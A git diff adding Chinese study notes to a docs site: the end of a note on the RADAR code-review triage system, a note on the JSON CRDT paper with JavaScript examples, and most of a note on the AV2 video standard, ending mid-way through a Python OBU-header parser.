+@@ -42,6 +42,11 @@ def login(user, password):
++    if not user:
++        return {"error": "missing user"}
++
+     hashed = hash_password(password)
+     if not verify_signature(user, hashed):
+         raise AuthenticationError("invalid credentials")
+```
+
+ACR 的分析结果：
+
+```yaml
+change_id: "auth.py:43-44"
+  classification: SAFE
+  signal: "defensive_programming_addition"  # 防御性编程
+  confidence: 9.2
+  description: "Added null check for user parameter"
+
+change_id: "auth.py:46"
+  classification: SAFE
+  signal: "no_behavioral_change"             # 不影响行为
+  confidence: 8.5
+  description: "Whitespace-only formatting"
+```
+
+**总结**：所有变更都被分类为 SAFE，且置信度都 > 8，ACR 会给出 auto-accept 决策。
+
+### 4.3 示例 3：一个被自动拒绝的 diff
+
+```python
+# ACR 看到的 diff 片段
+diff --git a/api/payment.py b/api/payment.py
+@@ -15,7 +15,7 @@ def process_payment(user_id, amount):
+-    user = get_user(user_id)
++    user = get_user(request.params['user_id'])
+```
+
+ACR 的分析结果：
+
+```yaml
+change_id: "payment.py:18"
+  classification: RISK
+  signal: "potential_security_vulnerability"  # 潜在安全漏洞
+  confidence: 9.1
+  description: "Changed from trusted parameter to raw request param.
+               Possible injection vector. Behavior change detected."
+```
+
+**总结**：检测到风险信号 → ACR 自动拒绝 → diff 转人工审查。
+
+## 五、核心数据与成果
+
+### 5.1 规模数据
+
+| 指标 | 数值 |
+|------|------|
+| RADAR 审查的 diff 总数 | 535,000+ |
+| 成功自动合入的 diff | 331,000+ |
+| 日均处理 diff | 25,000+ |
+| 当前 approve 率 | 60.31% |
+
+### 5.2 安全性数据
+
+| 指标 | RADAR diff | 非 RADAR diff | 对比 |
+|------|-----------|--------------|------|
+| 回退率 (Revert rate) | 低 | 基准 | 1/3 |
+| 线上事故率 (PI rate) | 极低 | 基准 | 1/50 |
+
+### 5.3 效率数据
+
+| 指标 | 改善幅度 |
+|------|---------|
+| 中位关闭时间 (median time to close) | 减少 >330% |
+| 中位审查等待时间 (median review wall time) | 减少 35% |
+
+### 5.4 阈值调优实验
+
+将 DRS 阈值从 P25（最安全的前 25%）放宽到 P50（最安全的前 50%）：
+
+- approve 率上升到 **60.31%**
+- 安全性指标（回退率/事故率）保持在可接受范围内
+- 说明 **阈值调节是一个可控的安全-效率平衡旋钮**
+
+## 六、两个管道的详细流程
+
+### 6.1 AI / Bot diff 管道（ACE 管道）
+
+```
+Bot diff 进入
+  |
+  +-> 确定 codemod?
+  |     +-- 是 -> Blanket AutoAccept -> 合入
+  |     +-- 否 -> 进入 ACE 管道
+  |
+  +-> ACE 管道:
+  |     |
+  |     +-> DRS 打分 (P20 或 P50 取决于是否白名单)
+  |     +-> ACR 审查 (语义分析, 安全/风险分类)
+  |     +-> 确定性验证 (CI, 测试, 静态分析)
+  |     +-> 全部通过 -> 自动合入
+  |     +-> 任何一层失败 -> 转人工审查
+```
+
+### 6.2 人类 diff 管道（Verification + Approval 管道）
+
+```
+人类 diff 进入
+  |
+  +-> 作者资格检查
+  |     |
+  |     +-> 角色/经验是否达标?
+  |     +-> 是否拥有此代码的运营权?
+  |
+  +-> 范围排除检查
+  |     |
+  |     +-> 是否涉及开源代码? -> 排除
+  |     +-> 是否涉及 SOX 合规代码? -> 排除
+  |
+  +-> Diff 状态检查
+  |     |
+  |     +-> 不是 WIP?
+  |     +-> 不是 RFC?
+  |     +-> 不是之前被拒绝的?
+  |     +-> 是最新版本?
+  |
+  +-> 内容检查
+  |     |
+  |     +-> 无黑名单关键词?
+  |     +-> 不匹配黑名单文件后缀?
+  |
+  +-> 全部通过 -> 进入 RADAR Verification + Approval
+        |
+        +-> DRS P5 (最安全的前 5%)
+        +-> ACR 审查
+        +-> 全部通过 -> 自动合入（RADAR Approval）
+        +-> 任何一层失败 -> 转人工审查
+```
+
+## 七、关键设计哲学
+
+### 7.1 分层安检
+
+RADAR 不是"用一个模型搞定一切"，而是层层递进：
+
+1. **静态规则** 快速过滤（文件路径、大小、类型）
+2. **DRS 模型** 做风险预测
+3. **ACR 审查** 做语义理解
+4. **确定性验证** 做最终保证
+
+每一层都只把"足够确定"的 diff 放过去，把"拿不准"的交给下一层或人类。
+
+### 7.2 渐进式部署
+
+RADAR 支持**渐进式 rollout**：
+
+- 先让低风险 runbook 跑
+- 监控安全指标
+- 确认没问题再放宽阈值
+- 出问题时立即暂停某个 runbook
+
+### 7.3 不同来源，不同信任度
+
+这是 RADAR 最核心的创新之一：**不把所有 bot 一视同仁**。
+
+- 确定性 codemod：信任最高（全量通过）
+- 白名单 RACER runbook：信任中等（P50）
+- 未白名单 AI 生成：信任较低（P20）
+- 人类 diff：最严格（P5）
+
+## 八、总结
+
+RADAR 解决了一个所有大规模工程团队都会遇到的问题：**当 AI 让代码生产速度翻倍时，人类审查能力跟不上怎么办？**
+
+它的核心答案是：
+
+1. **风险分级**：不是所有代码变更都一样危险
+2. **多层漏斗**：静态规则 + ML 评分 + LLM 审查 + 确定性验证
+3. **差异化信任**：不同来源的 diff 用不同的准入标准
+4. **渐进式部署**：安全优先，逐步放宽
+
+最终成果：在 535K+ diff 的生产规模下，实现了 60.31% 的 approve 率，回退率仅为 1/3，线上事故率仅为 1/50，关闭时间减少了 330%。
+
+---
+
+## 九、我的思考
+
+这篇论文最值得学习的点是**"分层过滤"**的设计思想。
+
+第一层用最简单的静态规则快速过滤，第二层用 ML 模型做预测，第三层用 LLM 做深度理解，第四层用确定性验证做兜底。每一层都只解决自己能解决的部分问题，不试图用一个模型搞定一切。
+
+这种思想在系统设计里很常见（比如 CDN -> 缓存 -> 后端），但把它应用到代码审查领域是一个很好的实践案例。
diff --git a/src/content/docs/papers/automerge-json-crdt-2017.md b/src/content/docs/papers/automerge-json-crdt-2017.md
new file mode 100644
index 000000000..8c8a81fb2
--- /dev/null
+++ b/src/content/docs/papers/automerge-json-crdt-2017.md
@@ -0,0 +1,265 @@
+---
+title: A Conflict-Free Replicated JSON Datatype — 零基础学习笔记
+来源: https://arxiv.org/abs/1608.03960
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：共享购物清单，而不是抢遥控器
+
+你和室友维护同一份 JSON 购物清单：`{ "grocery": ["牛奶", "鸡蛋"] }`。你在地铁里离线加了一行「面包」，他在公司同时把 `grocery` 整个清空再写入「火腿」。传统「最后写入者赢」（Last Writer Wins）像**抢遥控器**：谁最后按保存，谁覆盖全场——另一个人的改动无声消失。
+
+这篇 2017 年 IEEE TPDS 论文（作者 Martin Kleppmann、Alastair R. Beresford，arXiv 预印本 [1608.03960](https://arxiv.org/abs/1608.03960)）提出的是另一种思路：**把合并规则写进数据结构本身**。每台设备本地随便改，改完把「操作」异步发给其他副本；网络可以乱序、重复、延迟，只要消息最终都能送达，所有副本会**自动收敛到同一棵 JSON 树**——这就是 CRDT（Conflict-Free Replicated Data Type，无冲突可复制数据类型）。
+
+论文后来催生了 **Automerge** 库（Kleppmann 参与创建）。需要区分：Automerge 受这篇论文启发，但内部算法为性能做了大量改写；README 明确说与论文算法**并不相同**。学论文重在理解**嵌套 JSON 的 CRDT 语义**；写产品时再对照 [[yjs-crdt-overview]]、[[crdt-json]] 和 Automerge 文档。
+
+## 论文解决什么问题
+
+许多应用用 JSON 存状态：待办、通讯录、密码库、协同白板元数据。单机顺序修改语义清晰；**多副本并发修改**时却缺少通用答案：
+
+| 传统做法 | 问题 |
+|----------|------|
+| 数据库串行化 | 弱网/离线时应用几乎不可用 |
+| Last Writer Wins | 并发写会**丢数据** |
+| 弹窗让用户选 | 繁琐、易错 |
+| 各应用自写合并逻辑 | 难证明正确、难复用 |
+
+论文贡献：给出**可嵌套任意深度**的 JSON CRDT——map、list、register 可组合；支持插入、删除、赋值；在客户端完成合并，**不依赖网络全序**；适合 P2P、端到端加密消息、移动弱网。附录证明**强最终一致性**（strong eventual consistency）：副本间两两合并结果与合并顺序无关。
+
+## JSON 数据模型（论文视角）
+
+论文把 JSON 看成一棵**可变树**：
+
+- **Map（对象）**：子节点无序；key 不可变，value 可变；可增删键。
+- **List（数组）**：子节点有**应用定义的顺序**；可插入、删除元素。
+- **Leaf（叶子）**：string / number / boolean / null；视为**不可变原语**，修改 = 给 register 赋新值。
+
+与 XML 的关键区别：JSON 允许 **list 嵌在 map 里、map 嵌在 list 里**；XML 属性只能是标量，无法表达论文 Figure 3、Figure 5 那类「同一 key 下并发创建不同类型子树」的场景。
+
+文本协同编辑在论文里很自然：把文档建模为**字符 list**，每次键入 = `insertAfter`，删除 = `delete`（见论文 Figure 4）。
+
+## 三条设计原则
+
+论文 Section 1.2 明确三条原则，后文所有奇怪合并行为都由此推导：
+
+1. **强最终一致性**：任意并发修改后，所有副本最终状态相同。
+2. **不丢用户输入**：并发写尽量都保留（与 LWW 对立）。
+3. **可交换性**：若一组更新按任意顺序串行执行结果相同，则并发执行也应相同。
+
+## 架构：操作在本地产生，在网络上传播
+
+```mermaid
+flowchart LR
+  subgraph 设备P
+    PAPP[应用 / UI]
+    PCAP[命令 API]
+    POPS[操作队列]
+    PREP[本地副本 Ap]
+    PAPP --> PCAP
+    PCAP --> POPS
+    PCAP --> PREP
+  end
+
+  subgraph 设备Q
+    QAPP[应用]
+    QCAP[命令 API]
+    QOPS[操作队列]
+    QREP[本地副本 Aq]
+    QAPP --> QCAP
+    QCAP --> QOPS
+    QCAP --> QREP
+  end
+
+  POPS <-->|异步消息 可乱序| QOPS
+  POPS -->|apply| QREP
+  QOPS -->|apply| PREP
+```
+
+论文假设网络只保证**最终送达**（可重试），允许延迟、乱序、重复。没有中心服务器做 OT 变换；`yield` 命令模型化「把本地操作广播给其他副本」。
+
+## 核心概念
+
+### 1. 命令语言（Figure 7）——不是完整编程语言，是 CRDT 的「光标 API」
+
+| 构造 | 含义 |
+|------|------|
+| `doc` | 文档根 |
+| `expr.get(key)` | 进入 map 的某个 key |
+| `expr.idx(i)` | 进入 list 的第 i 个元素；`idx(0)` = 表头虚拟位置 |
+| `expr := value` | 给 register 赋值 |
+| `expr.insertAfter(value)` | 在光标所指 list 元素**之后**插入 |
+| `expr.delete` | 删除 map 键或 list 元素 |
+| `let x = expr` | 保存**光标**（按元素身份，不是整数下标） |
+| `expr.keys` / `expr.values` | 读 map 的键集 / register 的多值集合 |
+
+**光标按身份定位**：Figure 8 购物列表示例里，先 `insertAfter("eggs")` 得到变量 `eggs` 指向该元素；再在表头插入 `cheese` 后，`eggs` 的下标从 1 变成 2，但 `eggs.insertAfter("milk")` 仍插在 eggs **后面**——这对并发编辑至关重要（整数下标在并发插入时会漂移）。
+
+### 2. Multi-Value Register（多值寄存器）
+
+两人同时写同一叶子字段：
+
+```
+p: doc.get("key") := "B"
+q: doc.get("key") := "C"
+合并后读: doc.get("key").values => {"B", "C"}
+```
+
+字符串无法自动「语义合并」，所以**两个值都保留**，由应用层决定展示策略（例如取最新时间戳、或让用户选）。这比 Cassandra 式 LWW 安全，因为不会静默丢弃一方输入。数字可换成 **counter CRDT**；可编辑字符串可换成 **字符 list CRDT**（Figure 4）。
+
+### 3. 嵌套 Map 的「清空 vs 子键写入」（Figure 2）
+
+```
+p: 在 colors.red 写入 "#ff0000"
+q: colors := {}  再 colors.green := "#00ff00"
+```
+
+若「高层覆盖总赢」，red 会被丢掉，违反原则 2。论文语义：**清空 map 会删掉当时存在的键（如 blue）**；但并发在子层新加的 red、green **仍保留**。行为与 Riak 嵌套 map CRDT 一致。
+
+### 4. 同一 Map Key 的并发创建（Figure 3）
+
+两人都在离线状态下执行 `doc.get("grocery") := []` 并各自插入：
+
+```
+p: ["eggs", "ham"]
+q: ["milk", "flour"]
+合并: ["eggs", "ham", "milk", "flour"]  （或另一合法全序，但所有副本一致）
+```
+
+两个 list **可自动合并**；各副本内部相对顺序保留（ham 紧跟 eggs）。跨副本谁先谁后论文允许任意但确定的选择。
+
+### 5. 类型标签：mapT / listT / regT（Figure 5）
+
+同一 key 并发赋不同类型：
+
+```
+p: doc.get("a") := {}  再写 a.x := "y"   → 嵌套 map
+q: doc.get("a") := []  再插入 "z"       → list
+```
+
+map 与 list **无法语义合并**，于是 key `a` 下并存 `mapT("a")` 与 `listT("a")` 两个命名空间——读时要带类型。这是「不丢输入」与「单一 JSON 值」之间的诚实折中。
+
+### 6. Ordered List CRDT（RGA 家族）
+
+论文 list 基于文献中的有序 list CRDT（如 RGA、LSEQ 等），每个插入操作带**唯一 id**，删除用 **tombstone** 标记而非物理抹除，以便并发 `insertAfter(已删元素)` 仍有锚点。Figure 4 展示了并发删 `b`、插 `x`/`y`/`z` 后所有字符都出现在最终文档中的合并结果。
+
+### 7. 已知局限（Figure 6）
+
+Replica p 删除 todo 某项，Replica q 同时把该项 `done := true`。合并后可能出现**只有 `done: true`、没有 `title` 的幽灵项**——因为子字段更新与父 list 删除在不同层级并发，论文选择保留所有操作痕迹。作者指出：若应用有隐式 schema（todo 必有 title），可能需要 schema 感知的合并或丢弃一侧更新——**留给后续工作**。
+
+## 代码示例 1：用论文命令语义手搓购物清单
+
+下面用 JavaScript **模拟论文 Figure 8** 的命令序列（非 Automerge API，重在理解语义）：
+
+```javascript
+// 伪代码：每个 insertAfter 生成带唯一 opId 的操作，光标绑定 opId 而非下标
+const doc = makeEmptyJsonCrdt()
+
+let head = doc.get('shopping').idx(0)   // 空 list 的表头
+head.insertAfter('eggs')
+const eggs = doc.get('shopping').idx(1) // 光标指向 opId(eggs)
+
+head.insertAfter('cheese')              // cheese 插到表头
+eggs.insertAfter('milk')              // 仍插在 eggs 后，尽管 eggs 下标已变
+
+console.log(doc.toJSON())
+// => { shopping: ['cheese', 'eggs', 'milk'] }
+```
+
+要点：**永远用稳定元素 id 当光标**，不要用「第 2 个下标」这种会在并发下失效的坐标。现代 Yjs `Y.Array`、Automerge 的 list 内部都遵循同一思想。
+
+## 代码示例 2：双副本离线合并 multi-value register
+
+模拟 Figure 1：两设备并发改同一字段，再交换操作日志。
+
+```javascript
+// 简化教学模型：操作 = { lamport, replicaId, path, op, value }
+function applyOps(state, ops) {
+  for (const op of [...ops].sort((a, b) =>
+    a.lamport - b.lamport || a.replicaId.localeCompare(b.replicaId)
+  )) {
+    if (op.op === 'assign') {
+      const cell = state.getOrCreateRegister(op.path)
+      cell.add(op.value, op.lamport, op.replicaId) // multi-value：不覆盖，只追加并发写
+    }
+  }
+  return state
+}
+
+const opP = { lamport: 2, replicaId: 'p', path: ['key'], op: 'assign', value: 'B' }
+const opQ = { lamport: 2, replicaId: 'q', path: ['key'], op: 'assign', value: 'C' }
+
+const replicaP = applyOps(emptyDoc({ key: 'A' }), [opP])
+const replicaQ = applyOps(emptyDoc({ key: 'A' }), [opQ])
+
+// 交换：各应用对方全部操作
+const mergedOnP = applyOps(replicaP, [opQ])
+const mergedOnQ = applyOps(replicaQ, [opP])
+
+console.log(mergedOnP.readRegister(['key'])) // Set { 'B', 'C' }
+console.log(mergedOnQ.readRegister(['key'])) // Set { 'B', 'C' } — 与顺序无关
+```
+
+真实 Automerge / 论文实现还会附带**因果依赖**（vector clock / dot clock），这里用 Lamport 时间戳 + replicaId 字典序做全序，足以说明「并发赋值 → 多值集合 → 副本一致」。
+
+## 代码示例 3：用 Automerge 感受「JSON 式 CRDT」产品 API
+
+生产环境应使用 [Automerge](https://github.com/automerge/automerge)（算法与论文有差异，但体验最接近「可合并的 JSON」）：
+
+```javascript
+import * as Automerge from '@automerge/automerge'
+
+let docA = Automerge.init()
+docA = Automerge.change(docA, d => { d.title = 'Hello A' })
+
+let docB = Automerge.init()
+docB = Automerge.change(docB, d => { d.title = 'Hello B' })
+
+// 合并：无需中心服务器，顺序无关
+const merged1 = Automerge.merge(docA, docB)
+const merged2 = Automerge.merge(docB, docA)
+// merged1 与 merged2 深度相等
+
+console.log(Automerge.getHistory(merged1).length) // 可审计每次 change
+```
+
+若同一字段并发写产生冲突，Automerge 会保留冲突信息供应用读取（具体 API 随版本演变）；论文则用 multi-value register 在类型层面显式表达「多个并发值」。
+
+## 与 OT、其他 CRDT 的对比
+
+| 维度 | OT（Google Docs 类） | 平坦 CRDT（Riak 等） | 本篇 JSON CRDT |
+|------|----------------------|----------------------|----------------|
+| 嵌套 map+list | 需中心服务器（多数部署） | map 可嵌套，list 难与 JSON 对齐 | 任意嵌套 |
+| 网络要求 | 常需全序广播 | 视类型而定 | 仅最终送达 |
+| 离线编辑 | 困难 | 部分支持 | 原生支持 |
+| 冲突语义 | 变换函数保证收敛 | 单类型成熟 | 组合证明 + multi-value |
+| 字符串协同 | OT 主流 | 需字符 list | 建模为 list |
+
+## 适用场景
+
+**适合**：
+
+- 离线优先笔记、待办、通讯录（原则 2：尽量不丢编辑）
+- P2P 或 E2E 加密同步（无中心序）
+- 需要 JSON 形状、又不想写 ad-hoc 合并的 local-first 应用
+- 研究嵌套 CRDT 组合与形式化语义
+
+**不太适合**：
+
+- 银行账户、库存扣减等需要**全局不变式 + 拒绝并发**的领域（用事务 / 共识，不是 CRDT）
+- 超大单字段频繁覆盖（multi-value 与元数据开销）
+- 要求「并发写同一标量必须自动选一个赢家、且不能暴露多值」且不愿写应用策略的产品
+
+## 读后带走的三句话
+
+1. **JSON 协同难在嵌套**：不是 list CRDT 或 map CRDT 单独难，而是 map 里并发清空、子层并发写入、同 key 并发建不同类型子树——组合后仍要证明收敛。
+2. **不丢输入 ≠ 不制造尴尬状态**：Figure 6 的「无标题已完成 todo」说明 CRDT 语义诚实，schema 约束要额外一层。
+3. **论文是语义与证明，库是工程**：Automerge、Yjs、Loro 等在压缩、垃圾回收、字符串 CRDT 上走得更远；读论文建立「合并应发生什么」的直觉，读库解决「怎么快」。
+
+## 延伸阅读
+
+- 论文正式版：[IEEE TPDS 28(10), 2017](https://doi.org/10.1109/TPDS.2017.2697382)，作者页 [Martin Kleppmann](https://martin.kleppmann.com/2017/04/24/json-crdt.html)
+- 本书仓库：[[crdt-json]]（同主题短笔记）、[[yjs-crdt-overview]]（工业级 JS CRDT）、[[eg-walker-collab-text-2024]]（文本 CRDT 新进展）
+- 背景：Kleppmann《Designing Data-Intensive Applications》第 9 章（复制与一致性）
+- 生态：[Automerge](https://automerge.org/)、[crdt.tech](https://crdt.tech/)
diff --git a/src/content/docs/papers/av2-video-spec.md b/src/content/docs/papers/av2-video-spec.md
new file mode 100644
index 000000000..d7723709f
--- /dev/null
+++ b/src/content/docs/papers/av2-video-spec.md
@@ -0,0 +1,389 @@
+---
+title: AV2 Video Standard v1.0 — 下一代免版税视频编码零基础学习笔记
+来源: https://en.wikipedia.org/wiki/AV2
+日期: 2026-06-13
+子分类: 音视频媒体
+分类: 通信
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：行李箱打包术 2.0
+
+想象你要把一整季衣服寄给远方的朋友。视频编码干的事，本质上就是**把巨大的原始画面「打包」成更小的包裹**，让对方收到后能**原样还原**。
+
+- **未压缩视频**：每件衣服单独挂袋、塞满气泡膜——体积巨大，4K 一分钟就要好几 GB。
+- **有损编码**：允许「看起来一样就行」——T 恤叠成卷、袜子塞进鞋里，体积骤降，但肉眼看不出差别。
+- **AV1**（上一代）：已经是很会打包的收纳达人了，YouTube、Netflix 都在用。
+- **AV2 v1.0**（2026 年 5 月定稿）：同一套打包哲学，但换了更聪明的折叠法——同样画质下，包裹再小约 **30%**；或者同样码率下，画质更清晰。
+
+日常里你关心的其实是：**网速够不够、手机烫不烫、流量贵不贵**。码率每降 30%，CDN 账单、5G 流量、视频会议卡顿都会跟着改善。AV2 就是 AOMedia（开放媒体联盟）写给全世界的「新一代打包标准说明书」——正式名称是 **AV2 Bitstream & Decoding Process Specification v1.0.0**。
+
+一句话：**在 AV1 的免版税路线上，用更强的块划分、预测和变换工具，把流媒体、广播、会议、AR/VR 的视频再压一档。**
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 标准名称 | AV2 Bitstream & Decoding Process Specification |
+| 版本 | **v1.0.0**（Final，2026-05-28 发布） |
+| 制定组织 | [Alliance for Open Media (AOMedia)](https://aomedia.org/) |
+| 许可模式 | 免版税（royalty-free patent policy） |
+| 前身 | AV1（2018 定稿，艾美奖获奖编解码器） |
+| 官方站点 | [av2.aomedia.org](https://av2.aomedia.org/) |
+| 参考软件 | **AVM**（AOMedia Video Model，`libavm`，v1.0.0 tag） |
+| 高性能解码器（进行中） | **dav2d**（VideoLAN 主导） |
+| 典型收益 | 相同主观质量下，码率约比 AV1 低 **30%**（4K/8K/VR 等场景） |
+| 主要竞品 | VVC/H.266（有专利池，压缩效率相近但授权复杂） |
+
+AV2 开发自 2020 年前后启动，历时五年余，在 2026 年 5 月 28 日与 AVM 1.0.0 参考实现一同正式发布，取代 2026 年 1 月的 working draft v13。
+
+---
+
+## 核心架构：混合编码框架（与 AV1 同族，工具全面换代）
+
+AV2 仍采用经典 **混合视频编码（Hybrid Video Coding）** 流水线——和 H.264、HEVC、AV1 同一套路，但每个环节都有新工具：
+
+```text
+原始帧 → [可选去噪/FGS 分析]
+       → 块划分（Partition）
+       → 帧内/帧间预测（Intra / Inter Prediction）
+       → 变换 + 量化（Transform & Quantization）
+       → 熵编码（Entropy Coding，算术编码）
+       → 环路滤波（Deblock、CDEF、LR 等）
+       → 重建帧 → [可选胶片颗粒合成 Film Grain]
+       → OBU 比特流
+```
+
+解码器做上述过程的逆操作。规范文档定义的是：**比特流语法（Syntax）**、**语义（Semantics）** 和 **解码过程（Decoding Process）**——编码器有自由度，但输出必须能被符合规范的解码器正确解码。
+
+---
+
+## 核心概念 1：OBU — 比特流的「快递单」
+
+AV2 把所有数据装进 **Open Bitstream Unit（OBU，开放比特流单元）**。每个 OBU 像一封快递：有**头部**（类型、层级 ID、扩展标志）和**载荷**（实际视频数据）。
+
+v1.0 中常见的 OBU 类型包括：
+
+| OBU 类型 | 作用 |
+|----------|------|
+| `OBU_SEQUENCE_HEADER` | 序列级参数：分辨率、色度格式、工具开关 |
+| `OBU_TEMPORAL_DELIMITER` | 时间层边界标记 |
+| `OBU_FRAME_HEADER` / Tile Group | 帧头与瓦片数据 |
+| `OBU_MSDO` | Multi-Stream Decoder Operation — 多子码流资源分配 |
+| `OBU_MULTI_FRAME_HEADER` | 多帧头（复合/多视角场景） |
+| `OBU_LAYER_CONFIGURATION_RECORD` | 层级配置记录 |
+| `OBU_ATLAS_SEGMENT` | Atlas 段信息（多视角/VR 相关） |
+| `OBU_FILM_GRAIN` | 胶片颗粒参数（与 AV1 类似，可后处理合成） |
+| `OBU_METADATA_*` | 元数据（HDR、内容解释等） |
+
+**多层设计**：OBU 头可为 1 字节（仅时间层 ID）或 2 字节（含扩展层/嵌入层 ID）。不需要空间可扩展时，可省掉额外 signaling 开销。
+
+规范第 5、6 节可在 [Syntax Browser](https://av2.aomedia.org/v1.0.0/syntax_browser.html) 左右对照查阅——左边语法结构，右边语义解释，适合实现者速查。
+
+---
+
+## 核心概念 2：块划分 — 从「切蛋糕」到「乐高积木」
+
+### 扩展递归划分（ERP, Extended Recursive Partitioning）
+
+- 超块（Superblock）最大可到 **256×256**（AV1 为 128×128；也可选用 128×128）。
+- 递归细分至最小 **4×4**。
+- 新增 **扩展分区类型**（extended partition types）、**四向不均匀划分**（4-way uneven partitions）等，让编码器对复杂边缘（头发丝、栏杆、文字边缘）更贴合。
+
+### 半解耦划分（SDP, Semi-Decoupled Partitioning）
+
+AV1 里亮度（Y）和色度（U/V）**共用同一棵划分树**。AV2 的 SDP 允许：
+
+- 大块时：亮度/色度仍共享划分（省比特）；
+- 小块时（最大到 64×64）：亮度与色度**独立划分**——色度边缘与亮度边缘不一致时（常见！）不再被迫绑死。
+
+类比：AV1 是「三件套西装必须同码」；AV2 允许「上衣 M 码、裤子 S 码」，更合身。
+
+### 变换块划分（Transform Partition）
+
+AV2 **移除了 AV1 的递归变换划分**，对方块和矩形变换块使用**统一的划分类型集合**，简化了解码器分支，同时配合新的变换集（TX sets）提升效率。
+
+---
+
+## 核心概念 3：帧内预测 — 用「已画好的邻居」猜当前块
+
+帧内预测只参考**当前帧**已重建的像素。AV2 在 AV1 基础上新增/增强了大量模式：
+
+| 工具 | 含义（零基础版） |
+|------|------------------|
+| **MRLS** | 多参考行选择：不只用最靠边一行邻居，可在多条参考线里挑最准的 |
+| **AIMC** | 自适应帧内模式编码：根据邻居块常用模式，给「热门模式」更短的码字 |
+| **IBP** | 帧内双预测：两个方向预测加权混合，像「两个角度同时猜」 |
+| **ORIP** | 基于偏移的预测精修：用邻域重建样本微调预测 |
+| **DIP** | 数据驱动帧内预测：用预训练矩阵从降采样邻居生成预测 |
+| **CfL / MHCCP** | 色度从亮度预测：利用 Y 与 UV 的相关性省码率 |
+| **IBC** | 帧内块拷贝：屏幕内容（PPT、代码、游戏 UI）直接「复制已解码区域」；v1.0 可与环路滤波**同时使用**（AV1 受限更多） |
+| **Palette** | 调色板模式：适合颜色种类少的图形/UI |
+
+屏幕共享、视频会议里的幻灯片，IBC + 改进的 SCC 工具是刚需；这也是 AV2 强调「更好处理 screen content」的原因。
+
+---
+
+## 核心概念 4：帧间预测 — 用「过去的帧」猜运动
+
+帧间预测在参考帧里找匹配块（运动估计），AV2 增强包括：
+
+- **TIP**（Temporal Interpolation Prediction）等时域工具；
+- **扩展 Warp / 仿射模型**；
+- **BAWP**、改进的 **Wedge** 分区；
+- **RefMVBank**、**AMVR/AMVD** 等运动矢量编码优化；
+- 最多 **16** 个参考帧（`NUM_REF_FRAMES`）。
+
+此外还有 **Bridge Frame**、**SEF** 等特殊帧类型，服务随机访问和多流场景。
+
+---
+
+## 核心概念 5：多流、多视角与可扩展性
+
+现代应用不只要「一路 1080p」：
+
+- **多分屏 / 多角度体育**：一个比特流里塞多路节目，机顶盒按能力只解其中一路；
+- **立体 / VR**：左右眼或多 Atlas 拼接；
+- **可扩展层级**：最多 **8 个嵌入层 + 31 个扩展层**（embedded / extended layers），嵌入式层之间可预测。
+
+**MSDO OBU**（Multi-Stream Decoder Operation）可在比特流级别声明：总解码资源如何在多个子码流间分配（例如 2/3 给主视角、各 1/9 给三个辅视角）。这让「一个文件、多种终端能力」变得可标准化，而不是各家私有 mux 方案。
+
+---
+
+## 核心概念 6：档次（Profile）与生态节奏
+
+v1.0 覆盖主流 8/10/12 bit、4:2:0/4:2:2/4:4:4 等组合；AOMedia 已启动 **12-bit 专业电影 / HDR Profile** 的后续项目。容器方面，**ISO BMFF 的 AV2 binding** 规范也在推进中。
+
+硬件节奏可参考 AV1 历史：
+
+- AV1 规范：2018 年 3 月；
+- 首批消费级硬解：约 2020 年（Intel Tiger Lake、NVIDIA RTX 30、AMD RX 6000）；
+- 硬编普及：约 2022 年。
+
+AV2 很可能也要 **2–4 年** 才能在大规模消费硬件上铺开；2026 年 CES 上 VideoLAN 已用 **VLC 4.0 + dav2d** 在 MacBook Pro 上演示 AV2 软解。
+
+---
+
+## 代码示例 1：用 FFmpeg 探测 AV2 比特流（生态接入）
+
+FFmpeg 对 AV2 的支持随版本快速演进。定稿后典型工作流与 AV1 类似，只是 codec 名换成 `libav2` / `av2`（具体以你本地 `ffmpeg -codecs` 为准）：
+
+```bash
+# 查看本机是否已注册 AV2 解码器/编码器
+ffmpeg -hide_banner -codecs 2>/dev/null | rg -i 'av2|avm'
+
+# 将原始 YUV 用 AVM 参考编码器压缩（示例参数，需已编译 --enable-libavm）
+ffmpeg -f rawvideo -pix_fmt yuv420p -s 1920x1080 -r 30 -i input.yuv \
+  -c:v libaom-av2 -cpu-used 6 -crf 32 -b:v 0 \
+  -tiles 2x2 -row-mt 1 \
+  output.av2.ivf
+
+# 软解码并导出为 PNG 帧（验证解码器 conformance）
+ffmpeg -c:v libdav2d -i output.av2.ivf -frames:v 1 preview.png
+
+# 用 ffprobe 查看流级元数据（codec_name、profile、level、像素格式）
+ffprobe -v quiet -show_streams -select_streams v:0 output.av2.ivf
+```
+
+若 `libaom-av2` / `libdav2d` 尚未安装，可从 [AVM](https://gitlab.com/AOMediaCodec/avm) 与 [dav2d](https://code.videolan.org/videolan/dav2d) 源码构建，再链接进 FFmpeg。
+
+**实践提示**：早期参考编码器 `cpu-used` 越大越快但效率越差；`-crf` 与 `-b:v` 二选一控制质量/码率，和 x264/AV1 习惯一致。
+
+---
+
+## 代码示例 2：解析 OBU 头部（教学用 Python）
+
+下面脚本演示如何从 IVF 封装的 AV2 裸流中**逐个读取 OBU 头**（简化版，仅用于理解规范 §5.3 的头部语法；生产环境请用 `libavm` 或 FFmpeg）：
+
+```python
+#!/usr/bin/env python3
+"""Minimal AV2 OBU header walker — educational only."""
+from __future__ import annotations
+import struct
+import sys
+
+# OBU type names from AV2 spec (subset)
+OBU_NAMES = {
+    1: "OBU_SEQUENCE_HEADER",
+    2: "OBU_TEMPORAL_DELIMITER",
+    3: "OBU_FRAME_HEADER",
+    4: "OBU_TILE_GROUP",
+    5: "OBU_METADATA",
+    6: "OBU_FRAME",
+    7: "OBU_REDUNDANT_FRAME_HEADER",
+    8: "OBU_TILE_LIST",
+    15: "OBU_PADDING",
+    # v1.0 extended types include MSDO, MULTI_FRAME_HEADER, etc.
+}
+
+def leb128_read(buf: bytes, pos: int) -> tuple[int, int]:
+    """Read AOM-style LEB128 size field."""
+    value, shift = 0, 0
+    while pos < len(buf):
+        b = buf[pos]
+        pos += 1
+        value |= (b & 0x7F) << shift
+        if not (b & 0x80):
+            return value, pos
+        shift += 7
+    raise ValueError("truncated LEB128")
+
+def parse_obu_header(data: bytes, pos: int = 0) -> dict:
+    if pos >= len(data):
+        raise EOFError
+    b0 = data[pos]
+    pos += 1
+    obu_type = (b0 >> 3) & 0x0F
+    extension = bool(b0 & 0x04)
+    has_size = bool(b0 & 0x02)
+    obu_tlayer_id = b0 & 0x01  # simplified; v1.0 has extended header paths
+
+    header = {
